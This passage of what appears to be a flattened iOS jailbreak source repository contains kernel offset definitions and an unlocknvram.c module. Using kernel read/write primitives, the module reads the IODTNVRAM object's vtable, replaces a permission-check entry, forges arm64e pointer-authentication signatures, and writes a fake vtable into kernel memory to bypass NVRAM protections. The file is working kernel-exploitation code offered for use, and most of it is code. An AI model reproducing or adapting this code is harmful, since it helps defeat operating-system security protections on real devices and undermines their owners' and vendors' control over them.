OFF_PROC__P_PID (kCFCoreFoundationVersionNumber >= 1535.12 ? 0x60 : 0x10) 17 | #define OFF_PROC__P_LIST 0x8 18 | #define OFF_PROC__TASK (kCFCoreFoundationVersionNumber >= 1535.12 ? 0x10 : 0x18) 19 | -------------------------------------------------------------------------------- /src/offsets.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "offsets.c" 4 | -------------------------------------------------------------------------------- /src/unlocknvram.c: -------------------------------------------------------------------------------- 1 | // iOS 11 moves OFVariables to const 2 | // https://twitter.com/s1guza/status/908790514178301952 3 | // however, if we: 4 | // 1) Can find IODTNVRAM service 5 | // 2) Have tfp0 / kernel read|write|alloc 6 | // 3) Can leak kernel address of mach port 7 | // then we can fake vtable on IODTNVRAM object 8 | 9 | #include 10 | #include 11 | #include "kutils.h" 12 | #include "offsets.h" 13 | #include "debug.h" 14 | #include "pac.h" 15 | #include "kernel_call.h" 16 | #include "kc_parameters.h" 17 | 18 | static const size_t max_vtable_size = 0x1000; 19 | static const size_t kernel_buffer_size = 0x4000; 20 | 21 | // it always returns false 22 | static const uint64_t searchNVRAMProperty = 0x590; 23 | // 0 corresponds to root only 24 | static const uint64_t getOFVariablePerm = 0x558; 25 | 26 | // convertPropToObject calls getOFVariableType 27 | // open convertPropToObject, look for first vtable call -- that'd be getOFVariableType 28 | // find xrefs, figure out vtable start from that 29 | // following are offsets of entries in vtable 30 | 31 | typedef mach_port_t io_service_t; 32 | typedef mach_port_t io_connect_t; 33 | extern const mach_port_t kIOMasterPortDefault; 34 | CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED; 35 | io_service_t IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching CF_RELEASES_ARGUMENT); 36 | 37 | // get kernel address of IODTNVRAM object 38 | uint64_t get_iodtnvram_obj(void) { 39 | static uint64_t IODTNVRAMObj = 0; 40 | 41 | if (IODTNVRAMObj == 0) { 42 | io_service_t IODTNVRAMSrv = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM")); 43 | if (!MACH_PORT_VALID(IODTNVRAMSrv)) { 44 | ERRORLOG("Failed to get IODTNVRAM service"); 45 | return 0; 46 | } 47 | uint64_t nvram_up = get_address_of_port(getpid(), IODTNVRAMSrv); 48 | IODTNVRAMObj = rk64(nvram_up + OFF_IPC_PORT__IP_KOBJECT); 49 | 50 | DEBUGLOG("IODTNVRAM obj at 0x%llx", IODTNVRAMObj); 51 | } 52 | 53 | return IODTNVRAMObj; 54 | } 55 | 56 | uint64_t orig_vtable = 0; 57 | uint64_t fake_vtable = 0; 58 | uint64_t fake_vtable_xpac = 0; 59 | 60 | int unlocknvram(void) { 61 | uint64_t obj = get_iodtnvram_obj(); 62 | if (obj == 0) { 63 | ERRORLOG("get_iodtnvram_obj failed!"); 64 | return 1; 65 | } 66 | 67 | orig_vtable = rk64(obj); 68 | uint64_t vtable_xpac = kernel_xpacd(orig_vtable); 69 | 70 | uint64_t *buf = calloc(1, max_vtable_size); 71 | kread(vtable_xpac, buf, max_vtable_size); 72 | 73 | // alter it 74 | buf[getOFVariablePerm / sizeof(uint64_t)] = \ 75 | kernel_xpaci(buf[searchNVRAMProperty / sizeof(uint64_t)]); 76 | 77 | // allocate buffer in kernel 78 | fake_vtable_xpac = kalloc_wired(kernel_buffer_size); 79 | 80 | // Forge the pacia pointers to the virtual methods. 81 | size_t count = 0; 82 | for (; count < max_vtable_size / sizeof(*buf); count++) { 83 | uint64_t vmethod = buf[count]; 84 | if (vmethod == 0) { 85 | break; 86 | } 87 | #if __arm64e__ 88 | assert(count < VTABLE_PAC_CODES(IODTNVRAM).count); 89 | vmethod = kernel_xpaci(vmethod); 90 | uint64_t vmethod_address = fake_vtable_xpac + count * sizeof(*buf); 91 | buf[count] = kernel_forge_pacia_with_type(vmethod, vmethod_address, 92 | VTABLE_PAC_CODES(IODTNVRAM).codes[count]); 93 | #endif // __arm64e__ 94 | } 95 | 96 | // and copy it back 97 | kwrite(fake_vtable_xpac, buf, count*sizeof(*buf)); 98 | #if __arm64e__ 99 | fake_vtable = kernel_forge_pacda(fake_vtable_xpac, 0); 100 | #else 101 | fake_vtable = fake_vtable_xpac; 102 | #endif 103 | 104 | // replace vtable on IODTNVRAM object 105 | wk64(obj, fake_vtable); 106 | 107 | free(buf); 108 | INFOLOG("Unlocked nvram"); 109 | return 0; 110 | } 111 | 112 | int locknvram(void) { 113 | if (orig_vtable == 0 || fake_vtable_xpac == 0) { 114 | ERRORLOG("Trying to lock nvram, but didnt unlock first"); 115 | return -1; 116 | } 117 | 118 | uint64_t obj = get_iodtnvram_obj(); 119 | if (obj == 0) { // would never happen but meh 120 | ERRORLOG("get_iodtnvram_obj failed!"); 121 | return 1; 122 | } 123 | 124 | wk64(obj, orig_vtable); 125 | kfree(fake_vtable_xpac, kernel_buffer_size); 126 | 127 | INFOLOG("Locked nvram"); 128 | return 0; 129 | } 130 | -------------------------------------------------------------------------------- /src/unlocknvram.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | int unlocknvram(void); 4 | int locknvram(void); 5 | 6 | --------------------------------------------------------------------------------